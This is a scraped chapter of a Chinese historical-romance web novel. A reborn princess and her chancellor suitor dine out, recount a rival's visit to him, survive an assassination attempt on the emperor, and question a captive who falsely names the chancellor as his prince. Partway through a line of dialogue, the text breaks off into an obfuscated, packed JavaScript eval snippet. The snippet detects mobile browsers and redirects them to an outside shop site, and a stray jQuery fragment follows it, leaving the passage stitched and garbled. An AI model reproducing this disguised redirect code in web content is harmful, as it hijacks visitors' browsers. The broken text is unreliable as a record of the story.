39. 第三十九章

作品:《奸臣只想尚公主(双重生)

    顾云况沉默半晌,终是如实相告:“她日日守在丞相府外,定要求见下官。”


    他说着,唯恐孟砚梨不信般,又道:“下官避之不及。”


    孟砚梨觉得奇怪。


    金袖袖一介黑户,能于长安城内躲藏多日已是多亏唐家庇护,方才如此幸运。


    她不好生待在他们的藏身处,安心陪伴孩子与唐毅,非得抛头露面地求见顾云况作甚。


    孟砚梨正暗自思忖,店小二已然为他们端上“葡萄馥”,酒香浓醇沁鼻,扑面而来。


    “所以,金袖袖求见丞相大人后,说了些什么。”


    顾云况低垂双眸,想起那日金袖袖所言,不由沉下神情。


    “民女见过丞相大人。”


    金袖袖身若无骨般跪坐于丞相府会客厅正中,一双杏眼眸底含泪:“请丞相大人救我家夫君一命!”


    顾云况其实已经寻人查探过金袖袖底细,也清楚她口中“夫君”是何人。


    他并未立刻应声,只冷眼避开金袖袖视线,缓声道:“长安城内人命官司,皆由刑部管辖。”


    听出顾云况话中拒绝之意,金袖袖眼角瞬间滑落两滴泪珠,看上去甚是可怜。


    “大人!刑部,刑部与长公主殿下来往甚密,他们不会忤逆长公主殿下的!”


    她下意识想要靠近顾云况,却被他不着痕迹地离远几寸。


    金袖袖面上闪过一丝并不明显的愤懑,不等顾云况再次开口,自顾自道:“丞相大人或许不知。我家夫君曾与长公主殿下订过婚事。他,他不喜欢殿下,所以逃到高邑国——”


    她的言外之意很明显。


    她家夫君连大梁长公主都不放在眼里,却愿意抛却一切与她成婚。


    区区长公主,也不过如此。


    “丞相大人权倾朝野,传闻长公主殿下一向听您的。只要您愿意相救,民女必定结草衔环,好生报答。”


    金袖袖话音未落,顾云况忽地失笑。他冷脸示人惯了,大多时候总让旁观者觉着有距离。以至于金袖袖直到此刻方才意识到,顾云况笑起来竟是这般——


    令人心动。


    她面上微微一红,再看向他时,神色间难掩羞赧。


    “唐少夫人说笑。”


    顾云况皱眉,暗道一会儿得命相府总管领着府内侍婢小厮好生清扫会客厅。


    他觉得脏。


    “本相已被长公主殿下剥夺了监国大权,传闻亦有错漏。”


    他抬手,示意相府总管遣人将金袖袖逐出府:“本相分明,对长公主殿下唯命是从。”


    ……


    孟砚梨眨眨眼,忽然觉着面前大盘鸡味道都变得寡淡起来。


    金袖袖果然无趣。


    她自觉从身为长公主的孟砚梨这处抢走了唐毅,很是洋洋得意。


    如此还不够,听说孟砚梨早已寻到新的“面首”顾大人,还定要去他面前勾引一番才罢休。


    为人者,生而在世,从不该以身份、地位、金钱或是其他外物定义自己。


    被一位男子选择成婚,于金袖袖而言,她仿佛从此拥有了某种特权,能够睥睨曾经被那位男子弃如敝履之人。


    这是哪里来的道理?


    唐毅又不是什么世间标杆,女子莫非都得将“被唐毅选中成婚”作为人生目标,才配称得上成功?


    金袖袖委实可笑。她既对孟砚梨有这般大敌意,为何不敢面对面寻她相谈数句。


    通过被男子喜爱与否来定义自己与旁人,简直蠢得不知所谓。


    正暗自腹诽,孟砚梨忽地听见响亮的一声:“阿姊!”


    她顿时一个激灵挺直身形,看向窗檐处正探进酒肆内望向她的孟桓,和站立于他身侧不远处的孟染竹。眼珠子险些惊得掉下来。


    “我缠着堂兄叫他带我来西市逛热闹,怎想到会遇见阿姊与顾——”


    “大人”二字尚未出口,孟桓瞬间改口称顾云况为“顾公子”。


    孟砚梨怒气冲冲地抬手拽过孟染竹,压低声音斥责道:“世子殿下疯了吗,只你们二人?没有侍卫跟着?”


    “放心放心,我们知会了太皇太后。”


    孟染竹见孟砚梨如此慌乱,连忙拍拍她的肩膀,安抚无需如此草木皆兵:“眼下西市从里到外,围了近百皇宫侍卫,连只苍蝇都进不来。”


    听孟染竹这般说,孟砚梨提到嗓子眼的心总算缓缓落回实处。


    她正想叫店小二给他们再添两张坐席,却听孟桓道:“阿姊既然同顾大人相约,我们不便打扰。堂兄,走吧。”


    孟染竹却拽住孟桓安然入座:“什么打扰不打扰。阿姊未来的夫婿,就是咱两的姐夫。姐夫请小舅子用晚膳,岂非理所应当。”


    他笑眯眯地望向顾云况:“顾公子想必也不会介意。”


    毕竟:“我阿姊昨日方才为了你向太皇太后请命。若非她定要与你成婚,顾公子此刻恐怕早已身首异处。”


    孟砚梨端起“葡萄馥”酒杯的手蓦地一顿,酒水也顺势呛到嗓子眼:“咳,咳!”


    她手忙脚乱地接过顾云况递来的茶水润喉,还不忘狠狠剜了孟染竹一眼。待到平复之后,立刻瞪着他警告道:“你不说话没人当你是哑巴。”


    孟染竹冲孟砚梨龇出一排白净牙齿。


    顾云况不禁侧首看向孟砚梨,趁着孟桓与孟染竹又加了几道菜的功夫,他将她带出酒肆,追问道:“世子殿下所言何意?”


    酒肆之后存放杂物的连廊甚是窄小,孟砚梨不想离顾云况太近,刻意站在与外围院落相接处,整个人几乎都抵在墙角堆放着的柴火旁。


    她抿住下唇,一时也不知该从何说起。


    只能斟酌着措辞道:“顾大人自作聪明将本宫囚在临渊小筑,世子殿下前去长公主府找不见我,闹腾到太皇太后那处。”


    “本宫为救顾大人性命,不得已向太皇太后扯了几句谎。”


    西市灯火如昼,行走其内的众人仰首,几乎看不清天幕之中点点星光。


    她眼见顾云况眸间逐渐浮现笑意,电光火石的一瞬间,忽地瞪大双眼惊呼道:“顾云况!你是故意的?!”


    他专门挑选孟染竹抵达长安的日子将她带到临渊小筑。


    因为他知道,孟染竹难得返回皇城,无论如何都得去拜访太皇太后。


    可孟染竹一向不喜欢独自前去往慈光宫,他不好意思麻烦如今已身为天子的孟桓,只能求助孟砚梨。


    若他赶至长公主府,却不见孟砚梨人影,必定会冲向太皇太后处,告上顾云况一状。


    孟砚梨意识到自己中了圈套,气急败坏地举起手想要推他,却被他顺势拽进怀中,抵在心口处。


    他甚少笑得这般开怀,连带着整个人听起来都比平时爽朗许多:“阿梨。你可


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687421|183728||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    知我也是再无办法。你不愿与我成婚,我急得每日每夜都吃不下饭,寝不能寐。浑身的伤如何能好。”


    听见他受伤之事,孟砚梨不免心软几分。


    “哗啦”一声,似是酒坛被突然袭来的利器击得粉碎。


    酒肆内忽地响起阵阵惊呼。


    “有刺客!保护圣上!”


    未等孟砚梨做出反应,已有数名行动利落的蒙面黑衣人整齐划一地翻身入院,直冲孟桓而去。


    陪伴在孟桓身侧的孟染竹虽身负武功,到底双拳难敌四手。


    眼见为首的黑衣人执剑刺向孟桓,孟砚梨下意识向他跑过去,却被顾云况倏地护在身后,躲过几道暗器。


    幸好紧随而至的皇宫侍卫破门而入,及时在孟桓身前围成了方阵,竖起盾牌。


    孟砚梨定下心神,即刻下令:“给本宫将所有刺客全部拿下!切记,留活口。”


    不多时,除却零星几个逃走的刺客外,其余人等全部伏法。


    西市被勒令即时闭坊,由皇宫侍卫押送,所有刺客立马送入天牢,听候审讯。


    尽管已至深夜,天牢中,刑部、皇宫大营与影卫队诸人皆赶赴待命。


    为首的那名死士被孟染竹蓦地扯下他用于蒙面的黑布,视线相对时,孟砚梨与顾云况身形俱是一怔。


    哪怕他化成灰,孟砚梨都不会认不出眼前之人。


    她不知道他的名字,但在上一世临死前,她曾听见其他云氏死士,唤此人为“陈统领”。


    孟砚梨本以为重活一世,她恐怕不会再与这位“陈统领”有机会相见。


    她也没打算要将整个长安城翻个底朝天去寻找此人,非得报上一世杀身之仇。


    怎料他竟自己送上门来。


    未等孟砚梨做出反应,那人已然惊喜万分地望向顾云况:“卑职见过太子!太子救我!”


    顾云况不掩嫌恶,正待撇清关系,“陈统领”却不慌不忙地再次开口道:“若非太子告知我们孟桓这小贼所在,今夜我们怎么可能轻易行动!太子,您可要救我们。”


    孟砚梨阖眼,心道云氏原来在此地等着顾云况。


    专挑诸人齐聚一堂的时候,给他泼上一身也不算那么脏的脏水。


    这下好了,众人原先还只是猜疑。


    如今板上钉钉,这伙人各个手臂上都刺着“云”字,见着顾云况便高呼“太子”,他只怕跳进黄河都洗不清。


    顾云况脊背僵直,任由那位陈统领对着自己喋喋不休。


    最终还是孟砚梨蹙眉命令帛和道:“帛和,此人令本宫恶心,甚至攀诬本朝丞相。快些拖下去,凌迟处死。”


    帛和愕然看向孟砚梨,半晌方才不情不愿地拒绝道:“殿下,还是先审过再处理。”


    “没什么可审的。”


    她抬手作势揉了揉太阳穴,颇为嫌恶地冲那陈统领翻起白眼。


    “这不是还有这么多活捉来的云氏死士。不差他一个。”


    孟砚梨说着,专程提醒帛和:“拎出去,先把舌头拔了,再彻底毒哑。免得过会儿行刑时,嚷嚷得本宫头疼。”


    帛和只得领命道:“卑职谨遵殿下旨意。”


    听见她这番话,顾云况原本一直僵硬的身形总算有了些反应。


    他转身与端坐主位的孟砚梨相视,哽声道:“阿梨。”


    “我不曾做过。”